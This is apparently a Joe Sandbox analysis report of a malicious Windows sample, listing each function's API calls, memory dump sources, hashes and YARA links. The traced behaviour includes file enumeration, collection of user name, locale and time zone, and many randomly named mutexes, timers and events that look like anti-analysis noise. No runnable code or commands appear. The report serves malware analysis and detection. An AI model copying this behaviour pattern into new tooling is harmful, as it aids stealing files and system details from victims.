Part of subcall function 0040F9D2: SetEvent.KERNEL32(00000000), ref: 0040FA72
Part of subcall function 0040F9D2: ResetEvent.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040F9D2: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000114E,00000000), ref: 0040FA8D
Part of subcall function 0040F9D2: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FA94
Part of subcall function 0040F9D2: OutputDebugStringA.KERNEL32(log: g519d0t3), ref: 0040FA9F
Part of subcall function 0040F9D2: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_o3u2xvzm), ref: 0040FAAA
Part of subcall function 0040F9D2: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FAB4
Part of subcall function 0040F9D2: RegOpenKeyExA.KERNEL32(80000001,reggr17ifkk,00000000,00020019,?), ref: 0040FAD2
Part of subcall function 0040F9D2: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_oalnwsgu), ref: 0040FADC
Part of subcall function 0040F9D2: OutputDebugStringA.KERNEL32(log: rj3lmscv), ref: 0040FAE9
Part of subcall function 0040F9D2: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FAF0

wsprintfW.USER32 ref: 0040DE18

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040E46B), ref: 0040DE30
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040E46B), ref: 0040DE37
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040E46B,?,?,?,?), ref: 0040DE48
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0040E46B,?,?,?,?), ref: 0040DE52

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Create$Freelstrlen$AllocEvent$FindMutexOpenReleaseSemaphore$CloseDebugEnvironmentFileOutputStringVariablelstrcpyn$ChangeMappingNotificationTimerWaitable$CancelFirstInfoResetSystemwsprintf
String ID:
API String ID: 4152431780-0
Opcode ID: fbd71923381c9bd64fa658786f30e6bc1f48749301f295db3799f85ab1de0c0b
Instruction ID: 96a53a06c9f6d3d8042453e472104525a14c3c8ac092d0f32a56645460f0392a
Opcode Fuzzy Hash: fbd71923381c9bd64fa658786f30e6bc1f48749301f295db3799f85ab1de0c0b
Instruction Fuzzy Hash: 5B4143B1A04204AFDB119F69DCC9AAABFB8FB4C350B14C17AF909EB351D6349D04CB64

Function 00402737 Relevance: 18.1, APIs: 12, Instructions: 122filememorystringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0040278A
lstrcmpW.KERNEL32(?), ref: 004027B1
LocalAlloc.KERNEL32(00000040,00000208), ref: 004027C2
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 004027D3
LocalFree.KERNEL32(00000000), ref: 004027F3
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00402804
FindClose.KERNEL32(00000000), ref: 0040280F
StrStrW.SHLWAPI(?), ref: 00402829
StrStrW.SHLWAPI(?), ref: 00402840
LocalAlloc.KERNEL32(00000040,00000208), ref: 00402851
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00402862
lstrlenW.KERNEL32(00000000), ref: 0040287C

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FindLocal$AllocCombineFilePath$CloseFirstFreeNextlstrcmplstrlen
String ID:
API String ID: 3302464737-0
Opcode ID: ee3bea382a216da3050263bdfba15f33b5a0c29f535ef3aeba6fd6bcd3c488e6
Instruction ID: c77064382ab780973c1552c41d148db9f25e591f3278a98c67ca953ecca13a04
Opcode Fuzzy Hash: ee3bea382a216da3050263bdfba15f33b5a0c29f535ef3aeba6fd6bcd3c488e6
Instruction Fuzzy Hash: E9419871504219ABCB11AB60DD4CEDB7B7CFB44304F0081B6FA05A32D1EB799A45CF68

Function 004028BE Relevance: 18.1, APIs: 12, Instructions: 118stringfilememoryCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 00402911
lstrcmpW.KERNEL32(?), ref: 00402938
LocalAlloc.KERNEL32(00000040,00000208), ref: 00402949
PathCombineW.SHLWAPI(00000000,?,?), ref: 0040295A
LocalFree.KERNEL32(00000000), ref: 0040297A
FindNextFileW.KERNELBASE(00000000,00000010), ref: 0040298B
FindClose.KERNEL32(00000000), ref: 00402996
StrStrW.SHLWAPI(?), ref: 004029B0
lstrlenW.KERNEL32(00000000), ref: 004029B7
LocalAlloc.KERNEL32(00000040,00000208), ref: 004029C8
PathCombineW.SHLWAPI(00000000,?,?), ref: 004029D9
lstrlenW.KERNEL32(?), ref: 004029F3

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FindLocal$AllocCombineFilePathlstrlen$CloseFirstFreeNextlstrcmp
String ID:
API String ID: 1193658352-0
Opcode ID: 4fe5021e50f72c5f351920aab5df877cb38301a50cf69c3f2a6c05b6dd34c3cc
Instruction ID: a9d8395e9c5cc7df60eb5b43cde857821062529944888666247cd124f9df8969
Opcode Fuzzy Hash: 4fe5021e50f72c5f351920aab5df877cb38301a50cf69c3f2a6c05b6dd34c3cc
Instruction Fuzzy Hash: CD417371A00219ABCB119B60DD4DEEB7B7CEB49700F0081B6FE05A22D1E7795A45CF68

Function 0040DABA Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000001,00000000,?,0040E447,?), ref: 0040DAC7
LocalAlloc.KERNEL32(00000040,00000400,?,0040E447,?), ref: 0040DAD6
GetUserDefaultLCID.KERNEL32(00001001,00000000,00000104,?,0040E447,?), ref: 0040DAE9
GetLocaleInfoW.KERNEL32(00000000,?,0040E447,?), ref: 0040DAF0
wsprintfW.USER32 ref: 0040DAFE

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

LocalFree.KERNEL32(00000000), ref: 0040DB16
LocalFree.KERNEL32(00000000), ref: 0040DB1D

Strings

G@, xrefs: 0040DB04

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocCreate$EnvironmentFreeVariable$EventMutexOpenReleaseSemaphorelstrlen$ChangeCloseDefaultFileFindInfoLocaleMappingNotificationUserwsprintf
String ID: G@
API String ID: 4030481030-1264061026
Opcode ID: f256736ee782ca9ffacb4026854384e1472fe0e088c619b3f9e3d84757bf5668
Instruction ID: 12b7c36693c964035c981e43475f9a075cf60783a98cf15bd1b068c71184e44f
Opcode Fuzzy Hash: f256736ee782ca9ffacb4026854384e1472fe0e088c619b3f9e3d84757bf5668
Instruction Fuzzy Hash: 6BF0F9B2688304BBE7005BB1EC4DE9B7EB8EB48755F008435F74596191DA7958018B68

Function 00407425 Relevance: 12.1, APIs: 8, Instructions: 98filestringmemoryCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?,76229350,?,75B4EC10), ref: 00407478
lstrcmpW.KERNEL32(?), ref: 0040749F
LocalAlloc.KERNEL32(00000040,00000208), ref: 004074B0
PathCombineW.SHLWAPI(00000000,?,?), ref: 004074C1
LocalFree.KERNEL32(00000000), ref: 004074DE
FindNextFileW.KERNELBASE(00000000,00000010), ref: 004074EF
FindClose.KERNEL32(00000000), ref: 004074FA
lstrlenW.KERNEL32(?), ref: 00407514

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Find$FileLocal$AllocCloseCombineFirstFreeNextPathlstrcmplstrlen
String ID:
API String ID: 4184326037-0
Opcode ID: fc916f6a5cc8d224c3087e5b3c0c76ac212e5b32e57ff81a2f7e78185a9e7f0a
Instruction ID: d6ccb50f702f5958bf48240fd0cecc2e3828176efc21d6a77aabfebff070ecb7
Opcode Fuzzy Hash: fc916f6a5cc8d224c3087e5b3c0c76ac212e5b32e57ff81a2f7e78185a9e7f0a
Instruction Fuzzy Hash: 9931A471904219ABCB119B50DD48AEF7B7DEB49314F0080A6FD05A3290E7396E85CF69

Function 0040DBE7 Relevance: 6.0, APIs: 4, Instructions: 38memorytimeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000001), ref: 0040DBF9
LocalAlloc.KERNEL32(00000040,00000400), ref: 0040DC06
wsprintfW.USER32 ref: 0040DC29

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

LocalFree.KERNEL32(00000000), ref: 0040DC41

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Create$AllocEnvironmentVariable$EventFreeMutexOpenReleaseSemaphorelstrlen$ChangeCloseFileFindInformationMappingNotificationTimeZonewsprintf
String ID:
API String ID: 681100896-0
Opcode ID: 6bea448ccc25c8a08b3817b6e0e4650e7d53f551776b810c9f1092de84b3ae32
Instruction ID: ee4cd9bc43f84b4d412637850d1f311fbfb6f006ca8078703f5f439c184c5b35
Opcode Fuzzy Hash: 6bea448ccc25c8a08b3817b6e0e4650e7d53f551776b810c9f1092de84b3ae32
Instruction Fuzzy Hash: 4EF09676604204AFE710AB74DC0ABABBBF9EF88714F00C479FA46D7190D67499018655

Function 00410440 Relevance: 3.0, APIs: 2, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000202,00000000,?,?,00409368), ref: 00410453
GetUserNameW.ADVAPI32(00000000,00000101), ref: 00410460

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AllocLocalNameUser
String ID:
API String ID: 1684973538-0
Opcode ID: caeae5cfed5c556e6614d52f52b272d7db1754232d55bfba7fe7690f1f9d4d25
Instruction ID: a1b8f98365bb8ea72375b0656cd8dc9a31239e7dafe73eec0032803dcf4b738c
Opcode Fuzzy Hash: caeae5cfed5c556e6614d52f52b272d7db1754232d55bfba7fe7690f1f9d4d25
Instruction Fuzzy Hash: A6D0A771240318FBD7005780DC0EDCB7ABCDB04750F004061FA02E2281E6F85E0086E4

Function 00402BB1 Relevance: 133.8, APIs: 75, Strings: 1, Instructions: 789
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,00000208,?,00000000,00000000), ref: 00402BDD
LocalAlloc.KERNEL32(00000040,00000208), ref: 00402BEB
LocalAlloc.KERNEL32(00000040,00000400), ref: 00402BFD
LocalAlloc.KERNEL32(00000040,00000100), ref: 00402C12
PathCombineW.SHLWAPI(00000000,?,?), ref: 00402C2B
StrCpyW.SHLWAPI(00000000,?), ref: 00402C3A
LocalAlloc.KERNEL32(00000040,00000400), ref: 00402C5C
LocalAlloc.KERNEL32(00000040,00000080), ref: 00402C6F
LocalAlloc.KERNEL32(00000040,00200000), ref: 00402C81
LocalAlloc.KERNEL32(00000040,00200000), ref: 00402C94
LocalAlloc.KERNEL32(00000040,00800000), ref: 00402CA4
LocalAlloc.KERNEL32(00000040,00400000), ref: 00402CB7
LocalAlloc.KERNEL32(00000040,00000400), ref: 00402CD4
LocalAlloc.KERNEL32(00000040,00001000), ref: 00402CE6
LocalAlloc.KERNEL32(00000040,00000400), ref: 004030B1
LocalAlloc.KERNEL32(00000040,00000080), ref: 004030C4
lstrlenW.KERNEL32(?), ref: 00403289
lstrlenW.KERNEL32 ref: 00403297
lstrlenW.KERNEL32(00000000), ref: 00403324
lstrlenW.KERNEL32(?), ref: 004033A5
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040345C
LocalAlloc.KERNEL32(00000040,00000208), ref: 00403467
StrCpyW.SHLWAPI(00000000), ref: 00403483

Part of subcall function 0040C0A5: LocalAlloc.KERNEL32(00000040,0000FF78,00000000,00409338), ref: 0040C0AF

StrCpyW.SHLWAPI(00000000,?), ref: 004030DB

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FD9B
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLaf6ijeup), ref: 0040FDA8
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FDAE
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_ezfcnhiz), ref: 0040FDC2
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: 1q5wdw2w), ref: 0040FDC9
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000D5B,?), ref: 0040FDE3
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FDEB
Part of subcall function 0040FC69: LocalFree.KERNELBASE(00000000), ref: 0040FDF2
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(v19r9fkt,32cl1w9n), ref: 0040FE02
Part of subcall function 0040FC69: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_duo9zfet), ref: 0040FE11
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,regbsc0gy31,00000000,00020019,?), ref: 0040FE2A
Part of subcall function 0040FC69: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FE31
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(5xc4rfm6,1w9a7ezv), ref: 0040FE47
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0c4o0o20), ref: 0040FE54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FE5E
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_5lfr0i9u), ref: 0040FE6D
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FE76
Part of subcall function 0040FC69: ResetEvent.KERNEL32(00000000), ref: 0040FE7D
Part of subcall function 0040FC69: FindFirstFileA.KERNEL32(s_5v4dwb9r,?), ref: 0040FE8B
Part of subcall function 0040FC69: FindClose.KERNEL32(00000000), ref: 0040FE92
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_pmn3yhef), ref: 0040FEA3
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FEAD
Part of subcall function 0040FC69: OutputDebugStringA.KERNEL32(log: zqaxjx1i), ref: 0040FEBC
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXg35mzup0), ref: 0040FEC9
Part of subcall function 0040FC69: GetLastError.KERNEL32 ref: 0040FED5

Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FEDC
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(uvfb6x9g,iyeph0nr), ref: 0040FEEC
Part of subcall function 0040FC69: GlobalFree.KERNELBASE(0040C0BE), ref: 0040FEF1

wsprintfW.USER32 ref: 004030ED
PathCombineW.SHLWAPI(00000000,?,00000000), ref: 004030FB
LocalAlloc.KERNEL32(00000040,00200000), ref: 00403119
LocalAlloc.KERNEL32(00000040,00200000), ref: 00403128
LocalAlloc.KERNEL32(00000040,00800000), ref: 00403137
LocalAlloc.KERNEL32(00000040,00400000), ref: 00403146
LocalAlloc.KERNEL32(00000040,00000400), ref: 00403160
LocalAlloc.KERNEL32(00000040,00001000), ref: 0040316F
lstrlenW.KERNEL32(?), ref: 004031EC
lstrlenW.KERNEL32 ref: 004031FA
LocalAlloc.KERNEL32(00000040,00000184), ref: 004034B6
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 004034CD
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 004034E6

Part of subcall function 0040ACF1: FindFirstFileA.KERNEL32(s_s7vtzzwh,?,?,00000000,00000001), ref: 0040AD0F
Part of subcall function 0040ACF1: FindClose.KERNEL32(00000000), ref: 0040AD16
Part of subcall function 0040ACF1: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_vk3imx2p), ref: 0040AD27
Part of subcall function 0040ACF1: OutputDebugStringA.KERNEL32(log: zh92grdg), ref: 0040AD3A
Part of subcall function 0040ACF1: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040AD41
Part of subcall function 0040ACF1: GetLastError.KERNEL32 ref: 0040AD51
Part of subcall function 0040ACF1: CreateMutexA.KERNEL32(00000000,00000000,MTXcgnckz19), ref: 0040AD5C
Part of subcall function 0040ACF1: ReleaseMutex.KERNEL32(00000000), ref: 0040AD67
Part of subcall function 0040ACF1: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_g2s91s1q), ref: 0040AD76
Part of subcall function 0040ACF1: OutputDebugStringA.KERNEL32(log: tm2sd8o3), ref: 0040AD83
Part of subcall function 0040ACF1: CancelWaitableTimer.KERNEL32(00000000), ref: 0040AD86
Part of subcall function 0040ACF1: OutputDebugStringA.KERNEL32(log: n4rqy4pu), ref: 0040AD94
Part of subcall function 0040ACF1: CreateEventA.KERNEL32(00000005,00000001,00000005,ev_djhwfwwe), ref: 0040ADA4
Part of subcall function 0040ACF1: SetEvent.KERNEL32(00000000), ref: 0040ADAD
Part of subcall function 0040ACF1: ResetEvent.KERNEL32(00000000), ref: 0040ADB4
Part of subcall function 0040ACF1: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vks4zojj), ref: 0040ADC9
Part of subcall function 0040ACF1: OutputDebugStringA.KERNEL32(log: u9chcop0), ref: 0040ADD3
Part of subcall function 0040ACF1: CancelWaitableTimer.KERNEL32(00000000), ref: 0040ADDD
Part of subcall function 0040ACF1: RegOpenKeyExA.KERNELBASE(80000001,reg5mq4umsq,00000000,00020019,0040E56B), ref: 0040ADF8
Part of subcall function 0040ACF1: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000FCA,00000000), ref: 0040AE0C
Part of subcall function 0040ACF1: CloseHandle.KERNEL32(00000000), ref: 0040AE13
Part of subcall function 0040ACF1: LocalAlloc.KERNEL32(00000040,0000C350), ref: 0040AE20

LocalFree.KERNEL32(00000000), ref: 00403511
LocalFree.KERNEL32(?), ref: 0040351A
LocalFree.KERNEL32(?), ref: 00403523
LocalFree.KERNEL32(?), ref: 0040352A
LocalFree.KERNELBASE(?), ref: 00403539
LocalFree.KERNELBASE(?), ref: 00403542
LocalFree.KERNELBASE(00000000), ref: 0040354B
LocalFree.KERNEL32(00000000), ref: 00403554
LocalFree.KERNEL32(?), ref: 0040355B
